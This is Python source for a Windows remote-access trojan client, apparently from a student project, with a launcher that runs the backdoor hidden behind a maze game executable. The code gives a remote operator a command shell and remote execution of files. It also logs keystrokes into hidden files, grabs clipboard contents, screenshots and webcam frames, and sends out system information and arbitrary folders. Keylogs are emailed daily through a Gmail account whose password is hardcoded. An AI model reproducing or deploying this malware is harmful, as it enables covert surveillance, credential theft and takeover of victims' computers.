        gendkey = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        # print(gendkey)
        acceptancecode = input("Enter the Given Key: ")

        if acceptancecode != gendkey:
            # todo
            print("Pairing Failed")
            self.client.send("MISMATCH".encode("utf-8"))
            self.client.close()
            sys.exit()

        else:
            print("KEYS MATCHED - PAIRING SUCCESSFUL")
            self.client.send("MATCH".encode("utf-8"))

    # try to update buffer size
    def updateBuffer(self, size):
        buff = ""
        for counter in range(0, len(size)):
            if size[counter].isdigit():
                buff += size[counter]

        return int(buff)

    # for big files
    def saveBigFile(self, size, buff):
        full = b''
        while True:
            if sys.getsizeof(full) >= size:
                break
            recvfile = self.client.recv(buff)

            full += recvfile
        return full

    def sendHostInfo(self):
        """ Extracting host information """

        host = sys.platform
        self.client.send(host.encode("utf-8"))
        # Make a Dictionary
        sys_info = {
            "Platform": platform.system(),
            "Platform Release": platform.release(),
            "Platform Version": platform.version(),
            "Platform Architecture": platform.architecture(),
            "Machine Type": platform.machine(),
```

```python
            "Platform Node": platform.node(),
            "Platform Information": platform.platform(),
            "ALL": platform.uname(),
            "HostName": socket.gethostname(),
            "Host IP_Address": socket.gethostbyname(socket.gethostname()),
            "CPU": platform.processor(),
            "Python Build": platform.python_build(),
            "Python Compiler": platform.python_compiler(),
            "Python Version": platform.python_version(),
            "Windows Platform": platform.win32_ver()
            #  "OS": os.uname() # os.uname() ONLY SUPPORTED ON LINUX
        }
        cpu = platform.processor()
        system = platform.system()
        machine = platform.machine()

        with open('./logs/info.txt', 'w+') as f:
            for k, v in sys_info.items():
                f.write(str(k) + ' >>> ' + str(v) + '\n\n')

        with open('./logs/info.txt', 'rb+') as f:
            self.client.send(f.read())
        print("CPU: " + cpu + '\n', "System: " + system + '\n', "Machine: " + machine + '\n')
        # input()
        pprint(sys_info)
        # input()
        self.sysinfViaCMDFile()

    def sysinfViaCMDFile(self):
        # traverse the info
        Id = subprocess.check_output(['systeminfo']).decode('utf-8').split('\n')
        new = []

        # arrange the string into clear info
        for item in Id:
            new.append(str(item.split("\r")[:-1]))
        with open("./logs/moreinfoC.txt", "w+") as f:
            for i in new:
                print(i[2:-2])
                f.write(i[2:-2] + "\n")
        with open('./logs/moreinfoC.txt', 'rb+') as f:
            # self.client.send(os.path.getsize('./logs/moreinfoC.txt').encode('utf-8'))
            c = f.read()
            print(len(c))
            time.sleep(1)
            self.client.send((str(len(c))).encode('utf-8'))
            time.sleep(1)
            self.client.send(c)

    # ''' WINDOWS FUNCTIONS '''
    def locksystem(self):
        msg = "rundll32.exe user32.dll, LockWorkStation"
        self.runrun(msg)
        self.client.send("[+] PC Locked".encode("utf-8"))

    def shutdown(self):
        #msg = "shutdown /s"
        #self.runrun(msg)
        # self.client.send("[+] PC SHUTDOWN.".encode("utf-8"))
        self.locksystem()

    def shutdownmessage(self):
        message = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        msg = "shutdown /s /e '" + message + "' "
        # msg = "shutdown /s /e 'You've been hacked '"
        self.runrun(msg)
        self.client.send(("[+] PC SHUTDOWN WITH MESSAGE." + msg).encode("utf-8"))

    def restart(self):
        msg = "shutdown /r"
        self.runrun(msg)
        self.client.send("[+] PC RESTARTED.".encode("utf-8"))

# ''' TELNET FUNCTIONS '''
    def enableTN(self):
        msg = "start /B start cmd.exe @cmd /c pkgmgr /iu:TelnetClient "
        self.runrun(msg)
        self.client.send("SUCCESS".encode("utf-8"))
        #self.client.send("[+] Telnet Client Enabled".encode("utf-8"))

    def playchess(self):
        msg = "start /B start cmd.exe @cmd /c telnet freechess.org "
        self.runrun(msg)
        self.client.send("SUCCESS".encode("utf-8"))
        # self.client.send("[+] Target is now playing Chess".encode("utf-8"))
        # chess_true = subprocess.check_call("start /B start cmd.exe @cmd /k telnet freechess.org ", shell=True)

    def playstarwars(self):
        msg = "start /B start cmd.exe @cmd /c telnet towel.blinkenlights.nl "
        self.runrun(msg)
        self.client.send("SUCCESS".encode("utf-8"))
        # self.client.send("[+] Target is now Watching Star Wars Ep.IV: A New Hope".encode("utf-8"))
        # Sw = subprocess.check_call("start /B start cmd.exe @cmd /c telnet towel.blinkenlights.nl ", shell=True)

    def weather(self):
        msg = "start /B start cmd.exe @cmd /c telnet rainmaker.wunderground.com "
        self.runrun(msg)
        self.client.send("SUCCESS".encode("utf-8"))
        # self.client.send("[+] Target is now checking the Weather".encode("utf-8"))
        # weather = subprocess.check_call("start /B start cmd.exe @cmd /c telnet rainmaker.wunderground.com ",
shell=True)

# ''' KEYLOGGER FUNCTIONS '''
    def enableKeyLogger(self):
        # """ start thread for key logger """
        self.Keylogger = Keylogger()
        kThread = threading.Thread(target=self.Keylogger.log)
        kThread.start()
        self.client.send("*** SUCCESSFULLY STARTED LOGGER ***".encode('utf-8'))

    def disableKeyLogger(self):
        keyboard = Controller()
        keyboard.press(Key.esc)
        keyboard.release(Key.esc)
        print("KEYLOGGER KILLED")
        self.client.send("*** KEY LOGGER KILLED ***".encode('utf-8'))
    def keylogs(self):
            try:
                archname = './logs/files.zip'
                archive = ZipFile(archname, 'w')

                archive.write('./logs/readable.txt')
                archive.write('./logs/keycodes.txt')

                archive.close()
                self.client.send("[OK]".encode("utf-8"))
                time.sleep(0.1)

                # send size
                arcsize = os.path.getsize(archname)
                self.client.send(str(arcsize).encode("utf-8"))

                # send archive
                with open('./logs/files.zip', 'rb') as to_send:
                    self.client.send(to_send.read())

                os.remove(archname)

            except:
                self.client.send("[ERROR]".encode("utf-8"))

    def clipboardgrab(self):
        self.client.send(getClipBoard().encode('utf-8'))

# ''' CMD Functions '''
    def runprocess(self, msg):
        obj = subprocess.Popen(msg, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
                               shell=True)
        output = (obj.stdout.read() + obj.stderr.read()).decode("utf-8", errors="ignore")
        print("A")
        if output == "" or output == "\n":
            print("B")
            self.client.send("[*] Done".encode("utf-8"))
        else:
            print("C")
            self.client.send(output.encode("utf-8"))

    def runrun(self, msg):
        obj = "failed"
        try:
            obj, _ = subprocess.run(msg, check=True, shell=True)
            # output = (obj.stdout.read() + obj.stderr.read()).decode("utf-8", errors="ignore")
        except Exception as e:
            print(".")
            # print("This failed too (runrun) : " + str(e) + " + " + str(obj))

    def MSGBOX(self):
        insert = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        try :
            msgA = '(echo MsgBox "' + insert + '" ^& vbCrLf ^& "Line 2",262192, "Title")> File.vbs'
            self.runrun(msgA)
            msgB = 'start File.vbs'
            self.runrun(msgB)
            self.client.send("[+] Message displayed and closed.".encode("utf-8"))
        except:
            self.client.send("[!] FAILED TO DISPLAY MESSAGE. ".encode("utf-8"))
        time.sleep(1)
        os.remove("File.vbs")

    def txtmsg(self):
        print("[!] TextMessageMode: Activated")
        message = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        print("Server:", message)
        # self.send(output.encode('utf-8'))
        time.sleep(2)
        self.client.send("[+] Message displayed and closed.".encode("utf-8"))

    def filesend(self):
        print("[!] FILE SEND MODE: Enabled")
        filePath = self.client.recv(self.BUFFER_SIZE).decode("utf-8")
        filelist = os.listdir(filePath)
        self.client.send("[*] Success".encode("utf-8"))
        # create a zip archive
        archname = './logs/files.zip'
        archive = ZipFile(archname, 'w')
        for file in filelist:
            archive.write(filePath + '/' + file)
        archive.close()
        # send size
        archivesize = os.path.getsize(archname)
        self.client.send(str(archivesize).encode("utf-8"))
        # send archive
        with open('./logs/files.zip', 'rb') as to_send:
            self.client.send(to_send.read())
            print("Should have worked.")
        # os.remove(archname)

    def filerecv(self):
        # obtain the name to save the file as, and the expected size
        filename = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        filesize = self.client.recv(self.BUFFER_SIZE).decode('utf-8')

        # if the size is bigger than regular buffer, adjust -> "SaveBigFile"
        if int(filesize) >= self.BUFFER_SIZE:
            buff = self.updateBuffer(filesize)
            TFile = self.saveBigFile(int(filesize), buff)
        else:
            TFile = self.client.recv(self.BUFFER_SIZE)

        with open(f"./logs/{filename}", "wb+") as targetfile:
            targetfile.write(TFile)

    def fakeshell(self):
        """ Shell """

        print("[!] SHELL MODE ENABLED: ")
        msg = (self.client.recv(self.BUFFER_SIZE).decode("utf-8"))
        if "cd" in msg.lower():
            try:
                d = msg[3:].strip()
                os.chdir(d)
                self.client.send("[*] Done".encode("utf-8"))
            except:
                self.client.send("[*] Dir not found / something went wrong.".encode("utf-8"))
        else:
            # subprocess.checkoutput
            self.runprocess(msg)
            # self.runrun(msg)

    def email(self):
        filename = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        status = emailsendfilepath(filename)
        self.client.send(status.encode('utf-8'))

    def endless(self):
        global run
        malorgood = input("Enter 1 to run in malicious mode or 2 to run in virtuous mode: ")
        if malorgood == "1":
            print("[-] Malicious mode enabled: ")
            self.client.send("1".encode("utf-8"))
        else:
            print("[-] Virtuous mode enabled: ")
            self.client.send("2".encode("utf-8"))
            self.confirmconnection()
        #self.startEmailthread()
        self.label()
        while run:
            print("entered loop")
            msg = (self.client.recv(self.BUFFER_SIZE).decode("utf-8"))
            print("[@] message received {msg} = "+str(msg))
            try:
                func = self.FinalSwitcher.get(msg)
                func()
            except TypeError:
                print("[!*!] This operation does not exist. ")
            except Exception as e:
                print("Even I don't know how you got this error - so I'll lock the pc. " + str(e))

                print("Server: msg = " + msg)
                self.client.send("[+] Message displayed and closed.".encode("utf-8"))

    def exePy(self):
        path2script = self.client.recv(self.BUFFER_SIZE).decode('utf-8')
        try:
            if ".py" in path2script:
                exec(open(path2script).read())
            elif ".exe" in path2script:
                try:
                    os.startfile(path2script)
                except Exception as ex:
                    print(".exe? " + str(ex))
                    pass
            else:
                try:
                    msg = "cmd /c " + path2script
                    self.runrun(msg)
                except Exception as sc:
                    print(".script? " + str(sc))
                    pass
            self.client.send("[*] SUCCESS".encode('utf-8'))

        except Exception as e:
            self.client.send(("[!!] FAILURE + " + str(e)).encode('utf-8'))

    def hidefile(self, filepath):
        command = "attrib +h "+filepath+""
        self.runrun(command)

# '''SCREENSHOT'''
    def screenshot(self):
        with mss() as ss:
            #ss.shot(mon=1, output='./logs/screen{}.png'.format(self.sscount))
            ss.shot(output='./logs/screen{}.png'.format(self.sscount))  # taking screenshot
            picsize = os.path.getsize('./logs/screen{}.png'.format(self.sscount))
            self.client.send(str(picsize).encode('utf-8'))
            time.sleep(0.1)
            with open('./logs/screen{}.png'.format(self.sscount), 'rb') as screen:
                tosend = screen.read()
                self.client.send(tosend)  # sending actual file
            # os.remove('./logs/screen{}.png'.format(self.screenshot_counter))  # removing file from host
            self.sscount += 1
```

```python
        print("[*] SUCCESS")

    def capture(self):
        counter = 0
        vc = cv2.VideoCapture(0)
        if vc.isOpened():  # try to get the first frame
            rval, frame = vc.read()
            cv2.imwrite('./logs/Video/video{}.png'.format(counter), frame)
            counter += 1
        else:
            rval = False
        fr = 50
        while fr > 0:  # rval:
            fr -= 1
            if len(str(counter)) < 4:
                spacer = "0" * (4 - int((len(str(counter)))))
            cv2.imwrite('./logs/Video/video{}{}.png'.format(spacer, counter), frame)
            counter += 1
            rval, frame = vc.read()
            cv2.waitKey(int(1000 / 24))
        vc.release()
        self.sendwebcam()

    def sendwebcam(self):
        print("FILE SEND MODE: Enabled")
        filePath = 'logs/Video'
        print(str(filePath))
        filelist = os.listdir(filePath)
        pprint(filelist)
        self.client.send("Success".encode("utf-8"))
        # create a zip archive
        print("Success sent")
        archname = './logs/webcam.zip'
        archive = ZipFile(archname, 'w')
        for file in filelist:
            archive.write(filePath + '/' + file)
            print(str(file))
        archive.close()
        # send size
        archivesize = os.path.getsize(archname)
        print(archivesize)
        self.client.send((str(archivesize)).encode("utf-8"))
        print("Sending")
        time.sleep(1)
        print("NOW")
        # send archive
        with open('./logs/webcam.zip', 'rb') as to_send:
            self.client.send(to_send.read())
            print("Should have worked.")


    def startEmailthread(self):
        global eThreadActive
        eThreadActive = True
        eThread = threading.Thread(target=Scheduler)
        eThread.start()
        self.client.send("[*] Success".encode('utf-8'))

    def stopEmailThread(self):
        global eThreadActive
        eThreadActive = False
        self.client.send("*** Email Thread Killed ***".encode('utf-8'))
# ''' STATIC METHODS '''
def getClipBoard():
    cb = pyperclip.paste()  # getting the clipboard

    if len(cb) == 0:
        contents = "/No Clipboard contents/"
    else:
        contents = cb
    print(contents)
    return contents


# ''' EMAILER FUNCTIONS '''
def emailsendbody(body):
    # creates SMTP session
    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.ehlo()

    # start TLS for security
    s.starttls()

    # Authentication
    s.login("uor.27016005@gmail.com", "C0mput3rSc13nc3")

    # message to be sent
    message = "Subject:{0}\n\n{1}".format(datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"), body)
    print(message)

    # sending the mail
    s.sendmail("uor.27016005@gmail.com", "dannyb0903@gmail.com", message)

    # terminating the session
    s.quit()


def emailsendfilepath(filepath):
        if os.path.exists(filepath):
            with open(filepath, 'r') as file:
                body = file.read()
                emailsendbody(body)
                return "OK"
        else:
            return "[!!] FILE DOESNT EXIST"

Ethread = False
run = True
def Scheduler():
    # SCHEDULER
    schedule.every().day.at("20:05").do(emailsendfilepath, "./logs/readable.txt")
    global eThreadActive
    while eThreadActive:
        schedule.run_pending()
        time.sleep(1)
        print(" - Emailthread - ")
```

```python
class Keylogger:
    def __init__(self):
        # Dictionary containing all the keys
        # which may not produce a visible output in the log,
        # but still need recording
        self.modifier_keys = {
            "Key.enter": '\n',
            "Key.space": ' ',
            "Key.shift_l": '',
            "Key.shift_r": '',
            "Key.tab": "[TAB]",
            "Key.backspace": "[BACKSPACE]",
            "Key.caps_lock": "[CAPSLOCK]",
            "Key.ctrl": "[CTRL]",
            r"'\x03'":  "\n[COPIED TO CLIPBOARD] \n",
            r"'\x16'": "\n[Pasted: " + getClipBoard() + "]\n"
        }
        self.standardkey = True

        # Make a folder to store the logs,
        # if the folder already exists continue
        try:
            os.mkdir('./logs')
        except FileExistsError:
            pass

    # When a key is pressed on keyboard
    def key_press(self, key):
        # ESCAPE CLAUSE
        if key == Key.esc:
            print("ESCAPED: ")
            input()
            return False

        with open('./logs/readable.txt', 'a+') as log, open('./logs/keycodes.txt', 'a+') as codes:
            # key codes
            # This produces an output unreadable to humans
            print("added code: " + str(key))
            codes.write(str(key) + '\n')

            # readable keys
            for keycode in self.modifier_keys:
                # print("key = " + str(key) + " code = " + keycode)
                if keycode == str(key):
                    self.standardkey = False
                    log.write(self.modifier_keys[keycode])

                    break
            if self.standardkey:
                log.write(str(key).replace("'", ""))
            self.standardkey = True

    def log(self):
        self.hidelogs()
        with Listener(on_press=self.key_press) as listener:
            listener.join()  # listening for keystrokes

    def hidelogs(self):
        """ Hiding key-logger logs """
        command = "attrib +h ./logs/readable.txt"
        subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
        time.sleep(1)
        command = "attrib +h ./logs/keycodes.txt"
        subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)


def main():
    SERVER_IP = "192.168.56.1"  # modify me
    #  SERVER_IP = "82.13.30.90"
    PORT = 1337  # modify me (if you want)
    BUFFER_SIZE = 2048
    safemode = bool(True)
    global eThreadActive
    global run
    run = True
    eThreadActive = False
    try:
        os.mkdir('./logs')
    except FileExistsError:
        pass

    CLIENT = socket.gethostname()
    CLIENT_IP = socket.gethostbyname(CLIENT)
    print(CLIENT_IP)

    while run:
        try:
            client = Client(SERVER_IP, PORT, BUFFER_SIZE, CLIENT_IP)
            client.connectToServer()
            client.endless()
        except:
            pass

if __name__ == "__main__":
    main()
```

A5.0: launcher.py – For disguising the client behind the maze executable:

```
import os
import threading()

scriptpath = "D0_Wclient_31.exe" # MODIFY ME -> this will be the backdoor (clientwin.exe)
exepath = "Maze240419.exe" # MODIFY ME -> this will be the front program (minesweeper.exe)
# backupexe = "C:/Users/..." # MODIFY ME -> this will be bacup.exe or b2.exe

def front():
    os.startfile(exepath)

def back():
    os.startfile(scriptpath)


def main():
    #os.startfile(backupexe)

    bThread = threading.Thread(target = back)
    bThread.daemon = True
    bThread.start()

    front()


if __name__ == "__main__":
    main()
```